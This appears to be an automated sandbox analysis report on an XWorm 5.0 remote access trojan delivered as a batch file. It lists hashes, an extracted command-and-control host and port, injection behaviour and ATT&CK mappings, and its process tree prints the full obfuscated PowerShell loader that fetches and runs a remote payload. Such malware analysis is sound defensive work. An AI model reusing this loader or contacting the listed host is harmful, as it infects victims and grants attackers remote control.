xworm | bde622fc1ddebc014f70ce6da713d999d723ec473bf5497a669fd8fbea287e94

General

Target

las.cmd
Size

6KB
MD5

3a4042eca22b5630f0d94807b7ebf1ab
SHA1

274dec7f1a11302050f24f06f19bc357eee9959e
SHA256

bde622fc1ddebc014f70ce6da713d999d723ec473bf5497a669fd8fbea287e94
SHA512

b7d0653e191f2c56acf22915cfd199ac79d94129d56926d8f99aaa5f834d08196a56998d586ab034b9bd44bc8e759e133da08d0ee853f3c54fee9336913df59c
SSDEEP

96:akLd2YhwXGsvb/IncRIVZjAcmwkpi9Jyg8XiD7528pekM6w2He3JzFBmWsc9nODy:aBYe/b/IcmZjKw5rT5FAx8evcWsc94y

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

x5387400.duckdns.org:8896

Mutex

F4ssR8b386Bj6q2g

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1256-72-0x0000000000E00000-0x0000000000E10000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

9 2692 powershell.exe
15 2692 powershell.exe
20 2692 powershell.exe
22 2692 powershell.exe
24 2692 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3380 powershell.exe
2692 powershell.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

1256 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

3380 powershell.exe
1256 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3380 set thread context of 1256 3380 powershell.exe wab.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2692 powershell.exe
2692 powershell.exe
3380 powershell.exe
3380 powershell.exe
3380 powershell.exe
1256 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3380 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2692 powershell.exe
Token: SeDebugPrivilege 3380 powershell.exe
Token: SeDebugPrivilege 1256 wab.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

1256 wab.exe

flow	pid	process
9	2692	powershell.exe
15	2692	powershell.exe
20	2692	powershell.exe
22	2692	powershell.exe
24	2692	powershell.exe

pid	process
3380	powershell.exe
2692	powershell.exe

pid	process
1256	wab.exe

pid	process
3380	powershell.exe
1256	wab.exe

description	pid	process	target process
PID 3380 set thread context of 1256	3380	powershell.exe	wab.exe

pid	process
2692	powershell.exe
2692	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
1256	wab.exe

pid	process
3380	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	1256	wab.exe

pid	process
1256	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4160 wrote to memory of 2692	4160	cmd.exe	powershell.exe
PID 4160 wrote to memory of 2692	4160	cmd.exe	powershell.exe
PID 2692 wrote to memory of 3152	2692	powershell.exe	cmd.exe
PID 2692 wrote to memory of 3152	2692	powershell.exe	cmd.exe
PID 2692 wrote to memory of 3380	2692	powershell.exe	powershell.exe
PID 2692 wrote to memory of 3380	2692	powershell.exe	powershell.exe
PID 2692 wrote to memory of 3380	2692	powershell.exe	powershell.exe
PID 3380 wrote to memory of 3332	3380	powershell.exe	cmd.exe
PID 3380 wrote to memory of 3332	3380	powershell.exe	cmd.exe
PID 3380 wrote to memory of 3332	3380	powershell.exe	cmd.exe
PID 3380 wrote to memory of 1256	3380	powershell.exe	wab.exe
PID 3380 wrote to memory of 1256	3380	powershell.exe	wab.exe
PID 3380 wrote to memory of 1256	3380	powershell.exe	wab.exe
PID 3380 wrote to memory of 1256	3380	powershell.exe	wab.exe
PID 3380 wrote to memory of 1256	3380	powershell.exe	wab.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\las.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -windowstyle hidden "$Helvetica='Sub';$Helvetica+='strin';$Finn81 = 1;$Helvetica+='g';Function Enkeltvis($Fuldstndigheden){$Outgrin=$Fuldstndigheden.Length-$Finn81;For($Hegnstraad=5;$Hegnstraad -lt $Outgrin;$Hegnstraad+=6){$Merkonomernes+=$Fuldstndigheden.$Helvetica.Invoke( $Hegnstraad, $Finn81);}$Merkonomernes;}function Surfeiting($Retsinstituts){ .($Mindevrdig105) ($Retsinstituts);}$Unadduced=Enkeltvis ' .ateMbekrioMitzvzSelekiLnmodlKongel .assa,igar/Spher5 Inhe.Tigge0 ishe Tal,u(Sou hWN nsuiSu.stnresyndcatacoUptilwTarmks Dame Ind,aN FremTAvia, P ula1.enai0aliza.S aer0R,vio; blin AppeaWFor.uimil,snSty,o6Appul4Trimp;Len,m Proc.x inau6 Over4Nyans;Creod KinemrAnurivTreef: Rig.1Poeti2 Epiz1Woman.Scolo0 D ga) ,til B.rseG kilseRadiacTorvekVaernoFiske/Bldgr2Fe.lb0U,spo1 Brkr0,ateg0Oprrs1 Fler0Eno,a1 Klar De,iaFLophoiPlurarsneezeNedstfPolypoSeriex Domk/ nsul1 Afvn2Eamon1Bese..Homo,0coc,a ';$Naturtalent=Enkeltvis 'WilliU T,knsKje eeResenrOverd-Stat.A Sc ugSo omeUropanBaandtO ers ';$Blokbeskyttelsen=Enkeltvis 'F,annhBrepitElliptPrerepSupersAlien:Frabe/ ispe/Rili.wLam,awDucklwSwann.CoendsPantoe Fi,sn FlakdPalmes pacep,lodtaKernicDesceeZithe.Tvangc P.otoSpinemModes/Un elpgnotorTermooMaudl/ Umbed tasl.enpe/Water0Lingeu BladoArtisjka.itxUnjub0B.pre ';$Faggy=Enkeltvis ' enne>Brems ';$Mindevrdig105=Enkeltvis 'S.mafiAmmo,eInterxmefis ';$Imparsonee='Fugio';$stedsbiords = Enkeltvis 'AfridePla,tcDyndshSubsto nneu Op at%F rbrasyltepPlanop ForpdidoloaNektotNyligaLgdom%Fleur\VurdeCEshjboIsta,rDay odAperiifri,ea temu.TatovGUdvika S inrLmmel ro h&Defro&Limit Pre.eOmladcCreodhWi raoBandb FnokstMasse ';Surfeiting (Enkeltvis 'Foreg$GrippgRedellNigg o DesebPeroxa SniglNonde: ikriRlimmoeFun.mlXanthiUdk leWild vTittie Pones Indv2Yea,l2Noege4 Subm=repro(Fo.ebcCon,umbrutad ioxi Invad/IndhacIndre L.bsk$Ddel,sKoshetLabioeModstd AlpesNonrebFrdigiPlaneo Ovulr X,rad.amles Unfo) Tarm ');Surfeiting (Enkeltvis 'Count$Pegm,gdistrlFugt,oAnalob S.araAsseml Myo : AnalFFadseeThrashDishoa AcquaDyrefrCystoeSpirinMod.teStigmsSnobb=Stran$AvisuBKiltil ClicoAsocikPli tb Gaste.ommeslhegnkHearsyFluortRaag,t emie TanklVldigs leareF.edbnMonol.Kances erispbehvel .oreibutiktSolsp(d.cty$LangtFEmblaaPjaskgjob egB.twayknk,e),elvs ');$Blokbeskyttelsen=$Fehaarenes[0];$Racerbiler= (Enkeltvis ' Dys,$Kons g Nonelte,rao S,atbNoncoaLyretlTypef:AconuHA omaeDomingSlagin overs,ynantlivsarRaj,gaContaaKa,otdPoly eSpe.inAnpri=EstasNS receConstw Rott- Ut,tODas.ebAbekaj N deeEuryacFrafatFissi ,heraS NonvyUoplssQuay.tSlumse PepomMi jo.StatiN,arveeop.retDisso.,athoWUnd.ie S,gubIdmmeC indelOmstniGenuseAd.ctnCoalit');$Racerbiler+=$Relieves224[1];Surfeiting ($Racerbiler);Surfeiting (Enkeltvis ' Fdev$r sibHtriteePat.ogLa,drnSporosAdusttChronrAnnexaUnitaavandadMine eSkibsnOverh.AstraH Ultre PistaSvirrdBer ne tatr CarbsBeh,v[ .opi$NonprNMangeaCerebt PsycuDiscorOutbrtPrejuaTarmplKyphoePaadrnParr tCorre]Elmas=Reole$Di.fuURownen RostaEx redReba,dSkrmsuRemiscIntereBil.edSprng ');$Cartogrammes=Enkeltvis ' Drou$PlkkeHStatieSpurrgGrusvnDiplosButtettaagerDevotaStrenaPaperd.resseandennCross.UndivD monooImpliw.raekn.anonlInfaloMultia LegadSy crFFr,vriUnsellBambue Reac(Embed$DreadBSkolilChuppoA,bjnkSpannbMet,le RabasSnivekZ.druyBellat HooktinveceNoninlgaj gsUnderePre cnLease,Colle$ UndeFFuldas Ho.ntfors,nBejleeBaandsSdsup)Beski ';$Fstnes=$Relieves224[0];Surfeiting (Enkeltvis ' F.tn$Pr ntgBilanl latho C,asb.olstaChuntlTachy:CubanAErhveuLdrepkUnno,tAfskriCasemo.orman MonssT ansh MoraaKillilModst=Combu(KlageTFornjemakulsT.mmet Homi-Volu PFrdigaPr,bltEtre h Chec Stvn.$ThyreFNonrespr vitNippynHet reRig rsUnder)Toyfe ');while (!$Auktionshal) {Surfeiting (Enkeltvis ' Bere$OxyhegElverlAhrimoSkraabTilbaaGenarlKlein:SquidGChaffeVkstbnAd,nifs.ndroForsvrPeptitMonkslOkkerl korei a,mrnOddmeg E keeAntirn Unbrsnu,se=sjlev$salt,tIndl.r Nonpu ungdeR.akt ') ;Surfeiting $Cartogrammes;Surfeiting (Enkeltvis 'SjldeSRuefutSengeaGgesnrUnwortRock.- revSudfoelFerreeS,mmeeJulekpBizar .nti4Polit ');Surfeiting (Enkeltvis 'B,mbo$ ighpg.aiselB.ttoo Opskb Ch,raGalgelUnma.:Jade,AUngouuDengskKaim tR,alliP.nsio ulfanBrikesExp,ihTourna rklalAflgg=Hoard(Dr,ftT ObedeSmaassSkjo tUdste-PtomaP Exenaprivat.ostuhsubr, Casp.$ TaruFTrivssb waitExecun.ntiseHogwasB,gge)g lop ') ;Surfeiting (Enkeltvis 'Docks$SulkiglivfulStokvoC.rrob TangaF.senl Niev:v sumHFersiacarcilM thovEftertTur,eaMagesnDa.kogS bspeB rbenPosektNonameSonnerArchd=Heste$ProtegJ.nvilErnrioHesitbJems,a.avonl Nonp:roicgN Unlods uder D ageDjrven UfoedEks.reTuris+Ralli+Bu.ca%Stb.u$LavstF asbreNongrh s abaExempaNachtr,aricefixivn ,unseSnrklsEmpir.Cartec PhleoM rstuUrinanCl gwtGomph ') ;$Blokbeskyttelsen=$Fehaarenes[$Halvtangenter];}$Isopleura=307994;$Exciton=29049;Surfeiting (Enkeltvis 'capri$m gicgRoanplSlagtoUdstybEt,gra.illelUnsto:rekonHg ngseSpu vdBadevnudsttiAvlsfnRestlg Nau,eA.thrr ,hgrnFogedeHent. Fire=Tidsp P.eemG U,deeSt.tstKllin-Stjf.COutbao mparnUop.ytBest,eHemianmortitTi,la Stand$PorraFLoph.sf.rdyt,pecinTelefeBasilsFl dg ');Surfeiting (Enkeltvis 'Silan$Leg,mgSkovllTit,loHvinebJudaha HeadlBl.ds:,acheSA,sioaMennelRecoogAlg fb U dla.naugrSkovseUnwherB skeeLoofisCompr ykel= Gune Forh.[ U,veS.uadryDre.esUnpubtBiokee R,sem,akni.WrongC arbooTurbinGesjfvuncule andrManagtHypov]Konst:Codev: MammFSadder.ngago Def.m Pu,sBBarfoaEksprsPe.eteBe ha6Skurk4KuijpSCommutAyinpr RestiTransnGemligForud(Magaz$Tffe,HKni,kesnowsd DagtnCherripolyunabwabg enhaeAntr,rKafeenFlyveeSplin)lo de ');Surfeiting (Enkeltvis 'Clada$PreingMajlilHarrooApropbgjorda Ov,rlJ.sco: ThruBOprrsyAlpingMas egPrvekeUn rerEgepaeBlotcnMicrotAcan,eSupernGawke Acnid=Devon Aaste[unscaSUds,rySmarasYnkvrtprod eHie omarbej.EkspeT ShmeeUndewxF,ldetFies..CheniE SpednSterncRacegoHonord KlniiRationVerbogSuppl]Pla,s:Arter:misdiA InteS TenoCF,rsnIO ienINarro.Vati,GLandveIsa.etHabitSSneg,t Secrr Af ai Sen,nSideggEfter( Fors$RestiSCerataSocialOgeesgHyperbHvepsaSarrar.etere PostrHa.loeB,llisFaeca)Frugt ');Surfeiting (Enkeltvis 'Autop$s aragTimefl EsthoStvk.b,heomaMaddelInstr:KljesITork.nSiametSkispePylorrFif,eaSubtocEcd stRettniSupero SearnAngreiFi.trs Trfom Cali= Flad$ Bil.BMyselyStri.g Autog ZaraeAn,iar Va.deregnsn Ku rtAfsejeSp dsnBugta.Hungeso.ernuMargibPtelesCapstt Pa,prHoke i Afbon FormgR val(Fortr$proteInoninsL.terovice pSolidl MudreRjseruT.aner.accuaTerra,Keelh$Am laEFanatx Sme.cFritaiBry,gtsodeaoUdm,gnPre,r)d,por ');Surfeiting $Interactionism;"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Cordia.Gar && echo t"
3⤵
PID:3152

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Helvetica='Sub';$Helvetica+='strin';$Finn81 = 1;$Helvetica+='g';Function Enkeltvis($Fuldstndigheden){$Outgrin=$Fuldstndigheden.Length-$Finn81;For($Hegnstraad=5;$Hegnstraad -lt $Outgrin;$Hegnstraad+=6){$Merkonomernes+=$Fuldstndigheden.$Helvetica.Invoke( $Hegnstraad, $Finn81);}$Merkonomernes;}function Surfeiting($Retsinstituts){ .($Mindevrdig105) ($Retsinstituts);}$Unadduced=Enkeltvis ' .ateMbekrioMitzvzSelekiLnmodlKongel .assa,igar/Spher5 Inhe.Tigge0 ishe Tal,u(Sou hWN nsuiSu.stnresyndcatacoUptilwTarmks Dame Ind,aN FremTAvia, P ula1.enai0aliza.S aer0R,vio; blin AppeaWFor.uimil,snSty,o6Appul4Trimp;Len,m Proc.x inau6 Over4Nyans;Creod KinemrAnurivTreef: Rig.1Poeti2 Epiz1Woman.Scolo0 D ga) ,til B.rseG kilseRadiacTorvekVaernoFiske/Bldgr2Fe.lb0U,spo1 Brkr0,ateg0Oprrs1 Fler0Eno,a1 Klar De,iaFLophoiPlurarsneezeNedstfPolypoSeriex Domk/ nsul1 Afvn2Eamon1Bese..Homo,0coc,a ';$Naturtalent=Enkeltvis 'WilliU T,knsKje eeResenrOverd-Stat.A Sc ugSo omeUropanBaandtO ers ';$Blokbeskyttelsen=Enkeltvis 'F,annhBrepitElliptPrerepSupersAlien:Frabe/ ispe/Rili.wLam,awDucklwSwann.CoendsPantoe Fi,sn FlakdPalmes pacep,lodtaKernicDesceeZithe.Tvangc P.otoSpinemModes/Un elpgnotorTermooMaudl/ Umbed tasl.enpe/Water0Lingeu BladoArtisjka.itxUnjub0B.pre ';$Faggy=Enkeltvis ' enne>Brems ';$Mindevrdig105=Enkeltvis 'S.mafiAmmo,eInterxmefis ';$Imparsonee='Fugio';$stedsbiords = Enkeltvis 'AfridePla,tcDyndshSubsto nneu Op at%F rbrasyltepPlanop ForpdidoloaNektotNyligaLgdom%Fleur\VurdeCEshjboIsta,rDay odAperiifri,ea temu.TatovGUdvika S inrLmmel ro h&Defro&Limit Pre.eOmladcCreodhWi raoBandb FnokstMasse ';Surfeiting (Enkeltvis 'Foreg$GrippgRedellNigg o DesebPeroxa SniglNonde: ikriRlimmoeFun.mlXanthiUdk leWild vTittie Pones Indv2Yea,l2Noege4 Subm=repro(Fo.ebcCon,umbrutad ioxi Invad/IndhacIndre L.bsk$Ddel,sKoshetLabioeModstd AlpesNonrebFrdigiPlaneo Ovulr X,rad.amles Unfo) Tarm ');Surfeiting (Enkeltvis 'Count$Pegm,gdistrlFugt,oAnalob S.araAsseml Myo : AnalFFadseeThrashDishoa AcquaDyrefrCystoeSpirinMod.teStigmsSnobb=Stran$AvisuBKiltil ClicoAsocikPli tb Gaste.ommeslhegnkHearsyFluortRaag,t emie TanklVldigs leareF.edbnMonol.Kances erispbehvel .oreibutiktSolsp(d.cty$LangtFEmblaaPjaskgjob egB.twayknk,e),elvs ');$Blokbeskyttelsen=$Fehaarenes[0];$Racerbiler= (Enkeltvis ' Dys,$Kons g Nonelte,rao S,atbNoncoaLyretlTypef:AconuHA omaeDomingSlagin overs,ynantlivsarRaj,gaContaaKa,otdPoly eSpe.inAnpri=EstasNS receConstw Rott- Ut,tODas.ebAbekaj N deeEuryacFrafatFissi ,heraS NonvyUoplssQuay.tSlumse PepomMi jo.StatiN,arveeop.retDisso.,athoWUnd.ie S,gubIdmmeC indelOmstniGenuseAd.ctnCoalit');$Racerbiler+=$Relieves224[1];Surfeiting ($Racerbiler);Surfeiting (Enkeltvis ' Fdev$r sibHtriteePat.ogLa,drnSporosAdusttChronrAnnexaUnitaavandadMine eSkibsnOverh.AstraH Ultre PistaSvirrdBer ne tatr CarbsBeh,v[ .opi$NonprNMangeaCerebt PsycuDiscorOutbrtPrejuaTarmplKyphoePaadrnParr tCorre]Elmas=Reole$Di.fuURownen RostaEx redReba,dSkrmsuRemiscIntereBil.edSprng ');$Cartogrammes=Enkeltvis ' Drou$PlkkeHStatieSpurrgGrusvnDiplosButtettaagerDevotaStrenaPaperd.resseandennCross.UndivD monooImpliw.raekn.anonlInfaloMultia LegadSy crFFr,vriUnsellBambue Reac(Embed$DreadBSkolilChuppoA,bjnkSpannbMet,le RabasSnivekZ.druyBellat HooktinveceNoninlgaj gsUnderePre cnLease,Colle$ UndeFFuldas Ho.ntfors,nBejleeBaandsSdsup)Beski ';$Fstnes=$Relieves224[0];Surfeiting (Enkeltvis ' F.tn$Pr ntgBilanl latho C,asb.olstaChuntlTachy:CubanAErhveuLdrepkUnno,tAfskriCasemo.orman MonssT ansh MoraaKillilModst=Combu(KlageTFornjemakulsT.mmet Homi-Volu PFrdigaPr,bltEtre h Chec Stvn.$ThyreFNonrespr vitNippynHet reRig rsUnder)Toyfe ');while (!$Auktionshal) {Surfeiting (Enkeltvis ' Bere$OxyhegElverlAhrimoSkraabTilbaaGenarlKlein:SquidGChaffeVkstbnAd,nifs.ndroForsvrPeptitMonkslOkkerl korei a,mrnOddmeg E keeAntirn Unbrsnu,se=sjlev$salt,tIndl.r Nonpu ungdeR.akt ') ;Surfeiting $Cartogrammes;Surfeiting (Enkeltvis 'SjldeSRuefutSengeaGgesnrUnwortRock.- revSudfoelFerreeS,mmeeJulekpBizar .nti4Polit ');Surfeiting (Enkeltvis 'B,mbo$ ighpg.aiselB.ttoo Opskb Ch,raGalgelUnma.:Jade,AUngouuDengskKaim tR,alliP.nsio ulfanBrikesExp,ihTourna rklalAflgg=Hoard(Dr,ftT ObedeSmaassSkjo tUdste-PtomaP Exenaprivat.ostuhsubr, Casp.$ TaruFTrivssb waitExecun.ntiseHogwasB,gge)g lop ') ;Surfeiting (Enkeltvis 'Docks$SulkiglivfulStokvoC.rrob TangaF.senl Niev:v sumHFersiacarcilM thovEftertTur,eaMagesnDa.kogS bspeB rbenPosektNonameSonnerArchd=Heste$ProtegJ.nvilErnrioHesitbJems,a.avonl Nonp:roicgN Unlods uder D ageDjrven UfoedEks.reTuris+Ralli+Bu.ca%Stb.u$LavstF asbreNongrh s abaExempaNachtr,aricefixivn ,unseSnrklsEmpir.Cartec PhleoM rstuUrinanCl gwtGomph ') ;$Blokbeskyttelsen=$Fehaarenes[$Halvtangenter];}$Isopleura=307994;$Exciton=29049;Surfeiting (Enkeltvis 'capri$m gicgRoanplSlagtoUdstybEt,gra.illelUnsto:rekonHg ngseSpu vdBadevnudsttiAvlsfnRestlg Nau,eA.thrr ,hgrnFogedeHent. Fire=Tidsp P.eemG U,deeSt.tstKllin-Stjf.COutbao mparnUop.ytBest,eHemianmortitTi,la Stand$PorraFLoph.sf.rdyt,pecinTelefeBasilsFl dg ');Surfeiting (Enkeltvis 'Silan$Leg,mgSkovllTit,loHvinebJudaha HeadlBl.ds:,acheSA,sioaMennelRecoogAlg fb U dla.naugrSkovseUnwherB skeeLoofisCompr ykel= Gune Forh.[ U,veS.uadryDre.esUnpubtBiokee R,sem,akni.WrongC arbooTurbinGesjfvuncule andrManagtHypov]Konst:Codev: MammFSadder.ngago Def.m Pu,sBBarfoaEksprsPe.eteBe ha6Skurk4KuijpSCommutAyinpr RestiTransnGemligForud(Magaz$Tffe,HKni,kesnowsd DagtnCherripolyunabwabg enhaeAntr,rKafeenFlyveeSplin)lo de ');Surfeiting (Enkeltvis 'Clada$PreingMajlilHarrooApropbgjorda Ov,rlJ.sco: ThruBOprrsyAlpingMas egPrvekeUn rerEgepaeBlotcnMicrotAcan,eSupernGawke Acnid=Devon Aaste[unscaSUds,rySmarasYnkvrtprod eHie omarbej.EkspeT ShmeeUndewxF,ldetFies..CheniE SpednSterncRacegoHonord KlniiRationVerbogSuppl]Pla,s:Arter:misdiA InteS TenoCF,rsnIO ienINarro.Vati,GLandveIsa.etHabitSSneg,t Secrr Af ai Sen,nSideggEfter( Fors$RestiSCerataSocialOgeesgHyperbHvepsaSarrar.etere PostrHa.loeB,llisFaeca)Frugt ');Surfeiting (Enkeltvis 'Autop$s aragTimefl EsthoStvk.b,heomaMaddelInstr:KljesITork.nSiametSkispePylorrFif,eaSubtocEcd stRettniSupero SearnAngreiFi.trs Trfom Cali= Flad$ Bil.BMyselyStri.g Autog ZaraeAn,iar Va.deregnsn Ku rtAfsejeSp dsnBugta.Hungeso.ernuMargibPtelesCapstt Pa,prHoke i Afbon FormgR val(Fortr$proteInoninsL.terovice pSolidl MudreRjseruT.aner.accuaTerra,Keelh$Am laEFanatx Sme.cFritaiBry,gtsodeaoUdm,gnPre,r)d,por ');Surfeiting $Interactionism;"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3380

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Cordia.Gar && echo t"
4⤵
PID:3332

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1256

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kx0rc01q.m1m.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Cordia.Gar
Filesize
438KB

MD5
599de422e4b7b2e55ee51979601235be

SHA1
c2719ff203841bcd9486306aac1900ba6278ddf4

SHA256
19f979866becbdd29931391e67205505aedb85ad3604fd086d2b048b64ef8c23

SHA512
ad94dfea0fc63cc947a11cce4ca7e337090de8f537afacd9c9ea4f9075da2b9562fd8fae3d684d4f7eaf4ead74e6327f8a17fff7f490d5cdb973bfcfecc4d127

Download Submit
memory/1256-73-0x0000000021210000-0x00000000212AC000-memory.dmp

Filesize
624KB

Download
memory/1256-79-0x0000000021550000-0x000000002155A000-memory.dmp

Filesize
40KB

Download
memory/1256-78-0x00000000215F0000-0x0000000021682000-memory.dmp

Filesize
584KB

Download
memory/1256-70-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1256-72-0x0000000000E00000-0x0000000000E10000-memory.dmp

Filesize
64KB

Download
memory/2692-13-0x00007FFE31140000-0x00007FFE31C01000-memory.dmp

Filesize
10.8MB

Download
memory/2692-14-0x00007FFE31140000-0x00007FFE31C01000-memory.dmp

Filesize
10.8MB

Download
memory/2692-76-0x00007FFE31140000-0x00007FFE31C01000-memory.dmp

Filesize
10.8MB

Download
memory/2692-2-0x00007FFE31143000-0x00007FFE31145000-memory.dmp

Filesize
8KB

Download
memory/2692-12-0x0000018AFF310000-0x0000018AFF332000-memory.dmp

Filesize
136KB

Download
memory/2692-51-0x00007FFE31143000-0x00007FFE31145000-memory.dmp

Filesize
8KB

Download
memory/2692-50-0x00007FFE31140000-0x00007FFE31C01000-memory.dmp

Filesize
10.8MB

Download
memory/3380-26-0x00000000057C0000-0x0000000005DE8000-memory.dmp

Filesize
6.2MB

Download
memory/3380-40-0x0000000005FF0000-0x0000000006344000-memory.dmp

Filesize
3.3MB

Download
memory/3380-43-0x0000000007E40000-0x00000000084BA000-memory.dmp

Filesize
6.5MB

Download
memory/3380-44-0x0000000006B60000-0x0000000006B7A000-memory.dmp

Filesize
104KB

Download
memory/3380-45-0x0000000007880000-0x0000000007916000-memory.dmp

Filesize
600KB

Download
memory/3380-46-0x0000000007810000-0x0000000007832000-memory.dmp

Filesize
136KB

Download
memory/3380-47-0x0000000008A70000-0x0000000009014000-memory.dmp

Filesize
5.6MB

Download
memory/3380-41-0x00000000065F0000-0x000000000660E000-memory.dmp

Filesize
120KB

Download
memory/3380-49-0x0000000009020000-0x000000000A2F9000-memory.dmp

Filesize
18.8MB

Download
memory/3380-42-0x0000000006610000-0x000000000665C000-memory.dmp

Filesize
304KB

Download
memory/3380-30-0x0000000005F80000-0x0000000005FE6000-memory.dmp

Filesize
408KB

Download
memory/3380-53-0x00000000752AE000-0x00000000752AF000-memory.dmp

Filesize
4KB

Download
memory/3380-54-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/3380-71-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/3380-29-0x0000000005E60000-0x0000000005EC6000-memory.dmp

Filesize
408KB

Download
memory/3380-28-0x0000000005720000-0x0000000005742000-memory.dmp

Filesize
136KB

Download
memory/3380-27-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/3380-25-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/3380-24-0x0000000005060000-0x0000000005096000-memory.dmp

Filesize
216KB

Download
memory/3380-23-0x00000000752AE000-0x00000000752AF000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing